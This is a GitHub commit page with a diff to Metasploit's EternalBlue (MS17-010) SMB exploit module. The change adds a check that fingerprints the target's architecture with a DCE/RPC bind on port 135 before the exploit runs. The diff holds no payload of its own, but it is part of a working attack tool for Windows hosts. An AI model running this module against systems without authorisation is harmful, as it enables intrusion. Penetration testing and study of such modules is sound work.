Skip to content

Commit ea60631

Browse files
author
Brent Cook
committed
Land rapid7#8476, Implement VerifyArch for ETERNALBLUE
2 parents a01a2ea + a781480 commit ea60631

File tree

1 file changed

+69
-7
lines changed

1 file changed

+69
-7
lines changed

modules/exploits/windows/smb/ms17_010_eternalblue.rb

Lines changed: 69 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -153,12 +153,13 @@ def smb_eternalblue(process_name, grooms)
153153
client, tree, sock, os = smb1_anonymous_connect_ipc()
154154
print_good("Connection established for exploitation.")
155155

156-
if not verify_target(os)
157-
raise EternalBlueError, "Unable to continue with improper OS Target."
156+
if !verify_target(os)
157+
raise EternalBlueError, 'Unable to continue with improper OS Target.'
158158
end
159159

160-
#if not verify_arch
161-
#end
160+
if !verify_arch
161+
raise EternalBlueError, 'Unable to continue with improper OS Arch.'
162+
end
162163

163164
print_status("Trying exploit with #{grooms} Groom Allocations.")
164165

@@ -235,10 +236,10 @@ def verify_target(os)
235236
end
236237

237238
if ret
238-
print_status("Target OS selected valid for OS indicated by SMB reply")
239+
print_good('Target OS selected valid for OS indicated by SMB reply')
239240
else
240-
print_warning("Target OS selected not valid for OS indicated by SMB reply")
241-
print_warning("Disable VerifyTarget option to proceed manually...")
241+
print_warning('Target OS selected not valid for OS indicated by SMB reply')
242+
print_warning('Disable VerifyTarget option to proceed manually...')
242243
end
243244
end
244245

@@ -248,6 +249,67 @@ def verify_target(os)
248249
return ret
249250
end
250251

252+
# https://github.com/CoreSecurity/impacket/blob/master/examples/getArch.py
253+
# https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53
254+
def verify_arch
255+
ret = false
256+
257+
return true if !datastore['VerifyArch']
258+
259+
pkt = Rex::Proto::DCERPC::Packet.make_bind(
260+
# Abstract Syntax: EPMv4 V3.0
261+
'e1af8308-5d1f-11c9-91a4-08002b14a0fa', '3.0',
262+
# Transfer Syntax[1]: 64bit NDR V1
263+
'71710533-beba-4937-8319-b5dbef9ccc36', '1.0'
264+
).first
265+
266+
sock = connect(false,
267+
'RHOST' => rhost,
268+
'RPORT' => 135
269+
)
270+
271+
sock.put(pkt)
272+
273+
begin
274+
res = sock.get_once(60)
275+
rescue EOFError
276+
print_error('DCE/RPC socket returned EOFError')
277+
return false
278+
end
279+
280+
disconnect(sock)
281+
282+
begin
283+
resp = Rex::Proto::DCERPC::Response.new(res)
284+
rescue Rex::Proto::DCERPC::Exceptions::InvalidPacket => e
285+
print_error(e.to_s)
286+
return false
287+
end
288+
289+
case target_arch.first
290+
when ARCH_X64
291+
# Ack result: Acceptance (0)
292+
if resp.ack_result.first == 0
293+
ret = true
294+
end
295+
when ARCH_X86
296+
# Ack result: Provider rejection (2)
297+
# Ack reason: Proposed transfer syntaxes not supported (2)
298+
if resp.ack_result.first == 2 && resp.ack_reason.first == 2
299+
ret = true
300+
end
301+
end
302+
303+
if ret
304+
print_good('Target arch selected valid for OS indicated by DCE/RPC reply')
305+
else
306+
print_warning('Target arch selected not valid for OS indicated by DCE/RPC reply')
307+
print_warning('Disable VerifyArch option to proceed manually...')
308+
end
309+
310+
ret
311+
end
312+
251313
def print_core_buffer(os)
252314
print_status("CORE raw buffer dump (#{os.length.to_s} bytes)")
253315

0 commit comments

Comments
 (0)